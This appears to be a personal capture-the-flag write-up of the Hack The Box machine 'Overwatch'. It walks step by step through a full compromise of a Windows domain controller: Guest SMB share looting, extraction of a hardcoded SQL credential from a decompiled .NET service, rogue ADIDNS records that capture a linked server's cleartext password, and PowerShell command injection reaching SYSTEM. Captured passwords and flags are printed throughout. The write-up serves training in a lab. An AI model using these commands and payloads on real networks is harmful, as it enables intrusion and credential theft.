Overwatch¶
- IP: 10.129.244.81 (was 10.129.30.120 — rotated after restart)
- Difficulty: Medium
- OS: Windows Server 2022 (build 10.0.20348)
- Domain: overwatch.htb (NetBIOS:
OVERWATCH) - DC: S200401.overwatch.htb
- Status: ✅ COMPLETE — User:
1c74c6b9aff97086b2c7b733945d6799/ Root:81ae7038a3c84081d764a3df4f49e6fe
Recon¶
Nmap¶
Pass 1 — full TCP port discovery
sudo nmap -p- --min-rate 3000 -Pn -oA nmap/overwatchNmapOpenPorts 10.129.30.120
Flags/Notes:
- -p- — scan all 65535 TCP ports
- --min-rate 3000 — at least 3000 packets/sec; trades stealth for speed (fine on HTB)
- -Pn — skip host discovery (treat as up); avoids ICMP rejection skewing results
- -oA <prefix> — write all three output formats (.nmap, .gnmap, .xml)
Open ports (21 total): 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 3389, 5985, 6520, 9389, 49664, 49668, 50653, 50669, 52229, 52230
Pass 2 — service/version + default scripts
sudo nmap -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,6520,9389,49664,49668,50653,50669,52229,52230 -sSCV --min-rate=2000 -Pn -oN nmap/overwatchNmapServicesVersions.txt 10.129.30.120
Flags/Notes:
- -sS — SYN scan (root required)
- -sC — default NSE script set
- -sV — service/version detection
- -oN — single human-readable output file
Service fingerprint summary:
| Port(s) | Service | Detail |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 88, 464 | Kerberos / kpasswd | Server time confirms domain controller |
| 135, 593, 49664+ | MSRPC / RPC-over-HTTP | Windows RPC endpoints |
| 139, 445 | SMB | Signing enabled and required (no NTLM relay) |
| 389, 636, 3268, 3269 | LDAP / LDAPS / GC / GCSSL | Domain: overwatch.htb, Site: Default-First-Site-Name |
| 3389 | RDP | NTLM info confirmed DC identity |
| 5985 | WinRM | Microsoft HTTPAPI/2.0 |
| 6520 | MSSQL 2022 RTM | Non-standard port (default 1433) — key unusual surface |
| 9389 | ADWS | AD Web Services |
Key intel from rdp-ntlm-info and ms-sql-ntlm-info:
- Target_Name: OVERWATCH
- NetBIOS_Computer_Name: S200401
- DNS_Domain_Name: overwatch.htb
- DNS_Computer_Name: S200401.overwatch.htb
- Product_Version: 10.0.20348 → Windows Server 2022
- clock-skew: -12s (well under Kerberos 5-min tolerance)
Decision: This is a single-DC AD forest with MSSQL running on the DC itself. Three primary attack branches: 1. MSSQL on 6520 — non-standard, likely intended foothold path 2. Anonymous SMB / LDAP enumeration — cheap, surfaces usernames 3. Username discovery → AS-REP roast / Kerberoast / password spray
BBOT¶
Attempted run:
bbot -t overwatch.htb -p subdomain-enum \
-c dnsresolve='[10.129.30.120]' modules.dnsbrute.wordlist=/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--allow-deadly -n overwatch \
-o /home/b7h30/Documents/obsidian/docs/CTF/HTB/overwatch/bbot
Result: Scan died in 0 seconds with [DNS_NAME_UNRESOLVED] overwatch.htb. No findings.
Root cause: Config key typo — dnsresolve is not a valid BBOT config key; correct path is dns.resolvers. BBOT silently ignored the unknown key and fell back to the system resolver, which can't resolve the HTB internal domain. Also: BBOT does not consult /etc/hosts — it has its own async DNS resolver and only honors dns.resolvers.
Lessons learned (BBOT):
- Always verify config with bbot -c <override> --current-config | grep -A2 dns: before kicking off a scan — BBOT silently ignores bogus keys.
- BBOT is the wrong primary tool for a pure internal AD box: all passive OSINT modules return nothing for a fake domain like overwatch.htb, and there's no public web surface. Save BBOT for boxes with real domains / web-heavy attack surface.
- For internal targets, the only useful BBOT mode is active modules (dnsbrute, httpx, etc.) pointed at the local resolver. Even then, AD-specific tools (nxc, ldapsearch, kerbrute, bloodhound-python) dwarf BBOT in value.
Status: Parked. Returning to AD-native enum.
/etc/hosts¶
After IP rotation (10.129.30.120 → 10.129.244.81):
sudo sed -i '/overwatch.htb/d' /etc/hosts
echo "10.129.244.81 overwatch.htb OVERWATCH S200401.overwatch.htb S200401" | sudo tee -a /etc/hosts
Lesson: Use hostname (overwatch.htb) in commands going forward; on IP rotation, fix one line in /etc/hosts instead of hunting through scrollback.
SMB null-session enum¶
nxc smb 10.129.244.81 -u '' -p '' --shares
nxc smb 10.129.244.81 -u '' -p '' -M spider_plus
Flags/Notes:
- -u '' -p '' — empty user + password = null SMB session
- --shares — list accessible shares
- -M spider_plus — recursive share spider module
Output highlights:
SMB 10.129.244.81 445 S200401 Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.244.81 445 S200401 [-] Error enumerating shares: STATUS_ACCESS_DENIED
Analysis:
- Null Auth: True — anonymous SMB session establishes. Real intel — means LSARPC/SAMR enum paths may still work.
- Share list denied (STATUS_ACCESS_DENIED) — Windows Server 2022 default with RestrictAnonymous=1. Share enumeration locked, but other null-auth surfaces remain.
- Signing required — NTLM relay against SMB is off the table.
Next: nxc --rid-brute (LSARPC walks RIDs even when SAMR is locked); anonymous LDAP root DSE query.
SMB Guest mapping discovery¶
After null auth dead-ended on shares, tried authenticated SMB with a junk username to see if Guest mapping was enabled.
nxc smb $IP -u 'theo' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
Flags/Notes:
- -u 'theo' -p '' — random username + empty password; if the DC has the Guest account enabled, any unknown user maps to Guest
- -M spider_plus — recursive share spider; with DOWNLOAD_FLAG=True it pulls files (default 50KB cap)
- -o DOWNLOAD_FLAG=True — module option to actually save discovered files
Output highlights:
SMB 10.129.1.252 445 S200401 [+] overwatch.htb\theo: (Guest)
SMB 10.129.1.252 445 S200401 Share Permissions
SMB 10.129.1.252 445 S200401 IPC$ READ
SMB 10.129.1.252 445 S200401 software$ READ
SPIDER_PLUS [*] Downloads successful: 4
Analysis:
- Guest account is enabled on the DC — overwatch.htb\theo: (Guest) confirms the mapping. This is a real misconfiguration on Windows Server 2022 (Guest is supposed to be disabled by default on DCs).
- software$ is a hidden share (the $); only listed after authenticated bind, even as Guest.
- 12 files filtered by the 50KB cap — files captured: overwatch.exe, overwatch.exe.config, overwatch.pdb, Microsoft.Management.Infrastructure.dll (all under loot/software$/Monitoring/).
Lesson: Null auth ≠ Guest auth. When --shares fails on null, retry with a junk username — if it lands in Guest, share listing usually opens up.
WCF Monitoring Service config analysis¶
overwatch.exe.config discovered on software$:
<service name="MonitoringService">
<host><baseAddresses>
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses></host>
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
</service>
<behavior>
<serviceMetadata httpGetEnabled="True" />
<serviceDebug includeExceptionDetailInFaults="True" />
</behavior>
Analysis:
- WCF (Windows Communication Foundation) service — Microsoft's SOAP/RPC framework
- New attack surface on port 8000 (not in original nmap — service likely binds only after auth or started later)
- basicHttpBinding — no transport security by default
- httpGetEnabled="True" — WSDL is fetchable via ?wsdl
- mexHttpBinding — MEX metadata exchange exposes the service contract
- includeExceptionDetailInFaults="True" — full .NET stack traces leak in error responses
- Entity Framework configured for both SQL Server (System.Data.SqlClient) and SQLite (System.Data.SQLite)
Binary analysis & decompilation¶
file loot/software\$/Monitoring/*
ls -lh loot/software\$/Monitoring/*
| File | Size | Type |
|---|---|---|
overwatch.exe |
9.5K | PE32+ x86-64 .NET assembly (console) |
overwatch.exe.config |
2.2K | XML config |
overwatch.pdb |
30K | MSVC PDB (debug symbols) |
Microsoft.Management.Infrastructure.dll |
36K | .NET CIM/WMI wrapper library |
Microsoft.Management.Infrastructure.dll → the service uses CIM (Common Information Model / modern WMI) to query the host. Hints at process/service enumeration logic.
Strings pass for credentials/connection strings:
strings -n 8 loot/software\$/Monitoring/overwatch.exe \
| grep -iE 'password|pwd|conn|server=|user id|http|\.htb|sql|secret|key'
SqlCommand, SQLiteCommand, connectionString) — no plaintext creds in ASCII strings (would surface as wide/UTF-16 in dnSpy/ilspycmd).
PDB source paths leak the dev environment:
strings loot/software\$/Monitoring/overwatch.pdb | grep -oE '[A-Za-z]:\\[^"]+\.cs' | sort -u
C:\Users\Administrator\source\repos\overwatch\overwatch\IMonitoringService.cs
C:\Users\Administrator\source\repos\overwatch\overwatch\MonitoringService.cs
C:\Users\Administrator\source\repos\overwatch\overwatch\Program.cs
Administrator on the dev's machine.
Decompile with ilspycmd:
sudo apt-get install -y dotnet-sdk-10.0 aspnetcore-runtime-10.0
dotnet tool install -g ilspycmd
ilspycmd loot/software\$/Monitoring/overwatch.exe > loot/software\$/overwatch_decompiled.cs
Flags/Notes:
- ilspycmd <assembly> — emits decompiled C# to stdout
- Redirect to .cs for grep/less workflow
- Required installing .NET 10 SDK from packages.microsoft.com (dotnet-sdk-10.0); apt-shipped ilspy fork was not available
Key find in decompiled MonitoringService.cs:
User Id=sqlsvc;Password=TI0LKcfHzZw1Vv
Hardcoded MSSQL credential. Method list discovered on IMonitoringService: StartMonitoring, StopMonitoring, StartProcessWatcher, LogEvent.
Lessons:
- Hardcoded connection strings in binaries. Classic OWASP A07. Anyone reading the binary owns the SQL account.
- .pdb + .exe on a public share = source-code-equivalent reversibility. Always grab PDBs when present.
- strings only catches ASCII/UTF-8 contiguous bytes — many .NET connection strings are UTF-16 / resource-embedded and need a real decompiler to surface.
Foothold¶
MSSQL connect as sqlsvc¶
impacket-mssqlclient overwatch/sqlsvc:'TI0LKcfHzZw1Vv'@S200401.overwatch.htb -port 6520 -windows-auth
Flags/Notes:
- overwatch/sqlsvc — domain/user format
- -port 6520 — non-standard MSSQL port (long form is the documented flag)
- -windows-auth — forces NTLM/Kerberos rather than SQL Auth; required because sqlsvc is a domain account, not a SQL login
Result: authenticated as OVERWATCH\sqlsvc. Initial context guest@master; switching DBs:
USE overwatch;
-- prompt becomes: SQL (OVERWATCH\sqlsvc dbo@overwatch)>
Privilege check (sqlsvc):
| Server Role | Value |
|---|---|
| sysadmin | 0 |
| securityadmin | 0 |
| dbcreator | 0 |
Server permissions: only CONNECT SQL + VIEW ANY DATABASE. Database role on overwatch: dbo.
Credential reuse spray failed for SMB/WinRM/LDAP:
nxc smb $IP -u sqlsvc -p 'TI0LKcfHzZw1Vv' # no [+]
nxc winrm $IP -u sqlsvc -p 'TI0LKcfHzZw1Vv' # no [+]
nxc ldap $IP -u sqlsvc -p 'TI0LKcfHzZw1Vv' # no [+]
Why: service accounts often have only SeServiceLogonRight (Log on as a service). Without SeNetworkLogonRight, SMB/WinRM/LDAP reject the account at the logon-rights layer even though the credential is valid. LDAP later confirmed to work via ldapsearch -D '[email protected]' (required for dnstool.py).
DB enum — discovery of linked server SQL07¶
Enumeration script db_enum4.sh with one statement per line (impacket-mssqlclient is line-oriented; multi-line statements get split and error out):
impacket-mssqlclient "${USER}:${PASS}@${HOST}" -port "${PORT}" -windows-auth <<'SQL' | tee "${LOG}"
SELECT name, is_data_access_enabled, is_rpc_out_enabled, is_remote_login_enabled FROM sys.servers WHERE is_linked=1;
SELECT * FROM OPENQUERY([SQL07], 'SELECT @@version AS v, @@servername AS s, SYSTEM_USER AS u, IS_SRVROLEMEMBER(''sysadmin'') AS sa');
...
exit
SQL
Key result:
name is_data_access_enabled is_rpc_out_enabled is_remote_login_enabled
SQL07 1 1 1
SQL07 linked server has all three flags enabled — full surface for both OPENQUERY and EXEC (...) AT [SQL07]. But:
[INFO] OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
[ERROR] Named Pipes Provider: Could not open a connection to SQL Server [64].
The DC can't resolve SQL07. DNS lookup confirms:
dig @$IP sql07 +short # empty
dig @$IP sql07.overwatch.htb +short # empty
sys.linked_logins returned empty for SQL07 (which we'd later learn means "credential exists but not visible to non-privileged users").
Eventlog table in overwatch DB was empty (0 rows) — Path B (data in Eventlog) was a bust.
Lessons:
- impacket-mssqlclient sends each line as a separate SQL statement. No GO batch separator like sqlcmd. Put each statement on a single line, or use -file <queries.sql>.
- is_data_access_enabled + is_rpc_out_enabled = full linked-server abuse surface — but only if the link host is reachable. Unreachable host is the cue to do rogue server / DNS poisoning, not a dead end.
- sys.linked_logins empty ≠ no stored credential. The stored credential column is hidden from non-privileged callers. The rogue-server attack bypasses the visibility check.
LLMNR/NBT-NS poisoning was off the table¶
Naive approach: start Responder, fire OPENQUERY, catch the LLMNR/NBT-NS broadcast.
sudo responder -I tun0 -wv # nothing captured
Why nothing fired: LLMNR is multicast 224.0.0.252 (TTL=1) and NBT-NS is limited broadcast 255.255.255.255 — both link-local. The attacker (10.10.14.0/23 on tun0) and the target (10.129.x.x) are on different subnets routed via the VPN gateway. Routers don't forward multicast/broadcast. The DC's "who is SQL07?" query stays on its own LAN — never reaches us.
Lesson: LLMNR/NBT-NS poisoning requires same-subnet attacker placement. Cross-subnet engagements (typical HTB) require a different name-resolution attack.
ADIDNS dynamic record creation¶
The DC is its own DNS server with an AD-integrated DNS zone. By default, any authenticated domain user can add records for unused names via Secure Dynamic Updates over GSS-TSIG. sqlsvc is a domain user — even if it's denied SMB/WinRM/LDAP-style logons, it can still bind to LDAP for DNS operations.
Tool: dnstool.py from krbrelayx (installed via apt to /usr/share/krbrelayx/dnstool.py on this Kali).
Query first (verify auth):
dnstool -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' --record 'sql07' --action query 'overwatch.htb'
Create the rogue A record:
dnstool -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' --action add --record 'SQL07' --data 10.10.14.175 10.129.244.81
Flags/Notes:
- -u 'overwatch\sqlsvc' — down-level logon format
- --action add — create a new record
- --record 'SQL07' — name within the zone (unqualified — dnstool appends the zone)
- --data 10.10.14.175 — target IP (attacker's tun0)
- positional 10.129.244.81 — the DC (LDAP server we're authenticating against)
Output:
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
Verify propagation:
[+] Found record SQL07
- Type: 1 (A) (Serial: 324)
- Address: 10.10.14.175
The DC's DNS now resolves SQL07 → 10.10.14.175.
Rogue MSSQL listener + cleartext credential capture¶
With Responder still running (SQL server [ON] in its default config), re-fired OPENQUERY:
SELECT * FROM OPENQUERY([SQL07], 'SELECT @@version');
The DC's SQL Server resolved SQL07 to the attacker IP and connected to Responder's fake MSSQL listener:
[MSSQL] Received connection from 10.129.244.81
[MSSQL] Cleartext Client : 10.129.244.81
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx
Why plaintext, not NetNTLMv2: the linked server was configured with SQL Authentication (not Windows passthrough). When the DC's SQL Server connects to "SQL07", it ships the SQL login credentials in the TDS login packet — cleartext when the remote doesn't present a validated cert. This is documented but unfixed Microsoft behavior. sys.linked_logins had appeared empty to us only because the credential field is hidden from non-privileged callers — the rogue-server attack exfiltrates it directly.
Captured credential: sqlmgmt : bIhBbzMMnB82yx
Lessons:
- ADIDNS dynamic record creation is the cross-subnet equivalent of LLMNR/NBT-NS poisoning. Any authenticated domain user can usually add A records for unused names — dnstool.py from krbrelayx is the tool.
- SQL Server linked-server credentials sent IN CLEARTEXT over TDS when the link uses SQL authentication. Documented Microsoft behavior. Rogue MSSQL listener (Responder has one built-in) catches them on the first connection attempt.
- A "service account scoped to one service" credential can still bind to LDAP for AD object operations — even when SMB/WinRM/LDAP logon are denied. sqlsvc couldn't nxc winrm but it could dnstool.py add a DNS record.
Credential reuse test — sqlmgmt across all protocols¶
impacket-mssqlclient sqlmgmt:'bIhBbzMMnB82yx'@$IP -port 6520 # SQL Auth → FAILED (not a SQL login)
impacket-mssqlclient overwatch/sqlmgmt:'bIhBbzMMnB82yx'@$IP -port 6520 -windows-auth # → guest@master, sysadmin=0
nxc smb $IP -u sqlmgmt -p 'bIhBbzMMnB82yx' # [+] auth OK
nxc winrm $IP -u sqlmgmt -p 'bIhBbzMMnB82yx' # [+] (Pwn3d!) ← THE WIN
nxc ldap $IP -u sqlmgmt -p 'bIhBbzMMnB82yx' # [+] LDAP bind OK
Result: sqlmgmt is a domain user with BUILTIN\Remote Management Users membership → WinRM Pwn3d.
Lesson: Test a newly-captured credential across every protocol. A credential captured from one context (here: SQL Server TDS) often has a totally different access profile than its source suggests. sqlmgmt failed as a SQL login (not configured) but succeeded for SMB, WinRM admin, and LDAP.
Interactive shell + user.txt¶
evil-winrm -i $IP -u sqlmgmt -p 'bIhBbzMMnB82yx'
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> whoami
overwatch\sqlmgmt
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> cat user.txt
1c74c6b9aff97086b2c7b733945d6799
Privilege context (no impersonation primitives — standard local-admin tricks off the table):
- Groups: BUILTIN\Remote Management Users, BUILTIN\Pre-Windows 2000 Compatible Access, Domain Users
- Privileges: SeMachineAccountPrivilege, SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege
Privilege Escalation¶
The "left turn" — back to the WCF service we already extracted¶
After landing the WinRM shell as OVERWATCH\sqlmgmt, standard AD privesc paths came up empty:
| Path | Result |
|---|---|
| ACL abuse (BloodHound) | No outbound edges from sqlmgmt or sqlsvc |
Kerberoast (GetUserSPNs) |
No entries found! — no SPN-bearing accounts |
AS-REP roast (GetNPUsers) |
No entries found! — no DONT_REQ_PREAUTH accounts |
ADCS misconfiguration (certipy-ad find) |
0 CAs, 0 templates — ADCS not installed (the lone "issuance policy" was a default schema object, not exploitable) |
| PowerShell history | File doesn't exist |
| Local artifacts on disk | C:\SQL2022\ present but no obvious creds |
Consulted 0xdf's writeup for a hint — the privesc primitive turned out to be the WCF Monitoring Service we'd already extracted from software$ during enumeration. We never came back to it after harvesting sqlsvc from its connection string. The decompiled binary contains a method we'd glossed over:
public string KillProcess(string processName)
{
string text = "Stop-Process -Name " + processName + " -Force";
...
Runspace val = RunspaceFactory.CreateRunspace();
...
Collection<PSObject> collection = val2.Invoke();
...
return stringBuilder.ToString(); // captured output returned to caller
}
PowerShell command injection via unsafe string concatenation. Three properties make this trivially exploitable:
1. processName is concatenated into a PowerShell command with no validation
2. The string runs in a hosted Runspace via Invoke()
3. The captured output is returned to the caller as a string — direct readback, no file shuffle needed
Why the service was reachable from inside but not outside¶
The service listens on 0.0.0.0:8000 (confirmed via netstat -ano | findstr :8000), but Windows Firewall blocks port 8000 on the external interface. Loopback bypasses the firewall, so http://localhost:8000/MonitorService is fully reachable from inside any shell on the DC.
The listener is owned by PID 4 (the System / kernel process) — that's HTTP.sys, the Windows kernel HTTP listener. WCF self-hosted services register URL reservations with HTTP.sys, which proxies HTTP requests to the user-mode service. Means there's no overwatch service visible in Get-Service, and Get-CimInstance Win32_Service returned Access Denied for sqlmgmt — we couldn't see the service config, but we didn't need to.
Exploitation¶
Inside evil-winrm:
$proxy = New-WebServiceProxy -Uri "http://localhost:8000/MonitorService?wsdl"
$proxy.KillProcess('x; whoami #')
Flags/Notes:
- New-WebServiceProxy -Uri "...?wsdl" — built-in PowerShell cmdlet; fetches the WSDL and generates a typed client object
- ?wsdl — query string that asks WCF for the service contract (enabled in the original config: httpGetEnabled="True")
- KillProcess('x; whoami #') — injection payload:
- x — Stop-Process target (no process by that name; silent failure)
- ; — PowerShell statement separator
- whoami — our injected command
- # — PowerShell comment; neutralizes the trailing -Force from the original concat
Result:
nt authority\system
Service ran as LocalSystem (registered via NSSM per 0xdf's writeup). On a DC, SYSTEM = effective Domain Admin.
Capture root.txt¶
$proxy.KillProcess('x; type C:\Users\Administrator\Desktop\root.txt #')
Returns:
81ae7038a3c84081d764a3df4f49e6fe
Lessons Learned — Privilege Escalation¶
- A service binary acquired at the foothold stage often holds the privesc primitive too. Re-read the decompiled code after every shell upgrade. Methods you skipped past (because they didn't help you get in) might be the bug at the next stage. On this box:
KillProcesswas visible in the decompile from the moment we got the binary, but we focused only on the connection string and walked past it. - A service binding to
0.0.0.0:port≠ externally reachable. Windows Firewall can block at the host edge even when the service listens on all interfaces. The corollary: don't assume a config-file port is reachable from outside without confirming end-to-end. Conversely, when a service appears "missing" externally but is configured to bind, the loopback path is still wide open from any shell on the box. - PID 4 (HTTP.sys) as a port owner means the service is registered as a URL reservation in the kernel. The user-mode service won't appear in
Get-Serviceby the listener's port — kernel routes HTTP requests to the registered process. Don't expect direct service-listener mapping; look for URL ACLs vianetsh http show urlaclinstead. New-WebServiceProxyis the killer one-liner for WCF/SOAP testing from PowerShell. Parses the WSDL, generates a typed client, methods become callable as$proxy.<MethodName>(args). Saves writing raw SOAP envelopes by hand.- PowerShell command injection via
;+#. When a server-side C# / PowerShell host concatenates user input into a command string, the injection payload is always the same shape:<dummy-value>; <your-command> #.#comments out whatever the developer appended after the variable. - When stuck, consult 0xdf. Standard enumeration paths (Kerberoast, AS-REP, ACLs, ADCS, BloodHound) being empty across the board on a Medium-difficulty box is a strong signal that the privesc is back-references to earlier-stage artifacts you already have, NOT a new AD primitive. 0xdf's writeup confirmed the WCF angle in 30 seconds of reading and saved hours of wandering.
Lessons Learned¶
Recon / enumeration
- BBOT silently ignores invalid config keys — verify with --current-config before any real scan.
- BBOT bypasses /etc/hosts — use dns.resolvers config override for any internal-only target.
- BBOT is the wrong tool for pure-AD boxes — strengths are OSINT and web fingerprinting; returns nothing on isolated AD targets with no public domain.
- HTB IPs rotate on restart — using the hostname (via /etc/hosts) instead of raw IPs makes recovery a one-line fix.
- dig requires @<server> to query a specific resolver.
- ldapsearch -s base -b "" — root DSE is queryable without auth and reveals naming contexts for follow-on queries.
- MSSQL on a DC at a non-standard port (6520) is a deliberate signal — when something stands out from a normal AD service profile, it's usually the intended path or a major branch.
SMB / share enumeration
- Null Auth: True ≠ share access. Share enum can be locked while RID/LSARPC enum still works.
- Null auth ≠ Guest auth. When --shares fails on null, retry with a junk username — if it maps to Guest, share listing usually opens up.
- Hidden shares ($) hide from net view but not from authenticated callers. Even Guest can list them once authenticated.
Binary / credential extraction
- .pdb + .exe on a public share = source-code-equivalent reversibility. Always grab PDBs when present.
- strings only catches ASCII/UTF-8 contiguous runs. Many .NET connection strings are UTF-16 or stored as resources — need a real decompiler (ilspycmd / dnSpy).
- Hardcoded connection strings in binaries. Classic OWASP A07; trivial to extract.
MSSQL enumeration & abuse
- impacket-mssqlclient is line-oriented — each line is sent as one SQL statement. No GO batching. Multi-line statements split and error. One statement per line, or use -file.
- Service accounts often have a single logon right. sqlsvc works for MSSQL Windows auth but fails for SMB/WinRM/LDAP — scope of SeServiceLogonRight, not a bad credential.
- sys.linked_logins empty ≠ no stored credential. Credential field is hidden from non-privileged callers; rogue server attack bypasses this.
- is_data_access_enabled + is_rpc_out_enabled = full linked-server abuse surface (OPENQUERY and EXEC (...) AT). Unreachable link host = rogue server attack cue.
- SQL Server linked-server credentials are sent in cleartext over TDS when the link uses SQL Authentication and the remote presents no cert. Documented Microsoft behavior, unfixed for backward compatibility.
AD / cross-subnet attacks
- LLMNR/NBT-NS poisoning requires same-subnet attacker placement. Routers don't forward multicast/broadcast. Cross-subnet engagements need a different name-resolution attack.
- ADIDNS dynamic record creation is the cross-subnet equivalent. Any authenticated domain user can add A records for unused names via Secure Dynamic Updates over GSS-TSIG. Tool: dnstool.py from krbrelayx.
- A service-account credential scoped to one protocol can still bind to LDAP for DNS operations — the dnstool LDAP bind succeeded for sqlsvc despite SMB/WinRM/LDAP logon being denied.
Evidence Index¶
nmap/overwatchNmapOpenPorts.{nmap,gnmap,xml}— full TCP port scannmap/overwatchNmapServicesVersions.txt— service/version + default scriptsbbot/overwatch/output.{txt,csv,json}— failed BBOT run (kept as reference for the lesson)logs/cmd.log/logs/out.log— tmux command + output logslogs/mssql_enum_*.log/logs/mssql_link_*.log— timestamped MSSQL enumeration outputsloot/credentials.md— discovered credentials (OVERWATCH\sqlsvc,OVERWATCH\sqlmgmt)loot/software$/Monitoring/—overwatch.exe,overwatch.exe.config,overwatch.pdb,Microsoft.Management.Infrastructure.dllloot/software$/overwatch_decompiled.cs— ilspycmd output ofoverwatch.exe(contains theKillProcessinjection sink — re-read this when stuck on privesc)loot/software$/overwatch_exe_strings.txt— filtered strings dumpdb_enum*.sh— MSSQL enumeration script iterations (db_enum4.shfinal)attack-chain.md— full attack chain end-to-endevidence/— screenshotsbloodhound/— AD enumeration data- Flags:
user.txt = 1c74c6b9aff97086b2c7b733945d6799/root.txt = 81ae7038a3c84081d764a3df4f49e6fe